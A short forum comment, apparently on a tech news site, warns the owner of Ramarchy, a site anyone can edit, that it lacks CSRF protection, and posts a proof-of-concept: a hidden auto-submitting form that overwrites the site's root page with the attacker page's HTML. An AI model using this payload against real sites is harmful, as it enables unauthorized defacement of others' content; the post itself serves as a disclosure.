News for hackers. Stuff that matters.
Re:Ramarchy – a website anyone can edit by tokenizerrr on Saturday March 28, 2015 @02:35PM (#9282288)
You should probably do something to prefent CSRF. I just came up with this:

    <form id="lol" method="POST" action="http://edit.ramarchy.com/">
      <input type="hidden" name="route" value="/" />
      <input id="page" type="hidden" name="page" value="" />
      </form>
    <script>
    setTimeout(function() {
      document.getElementById('page').value = '<ht' + 'ml>' + document.documentElement.innerHTML + '</ht' + 'ml>';
      document.getElementById("lol").submit();
    }, 1000);
    </script>

There are no comments on this comment yet.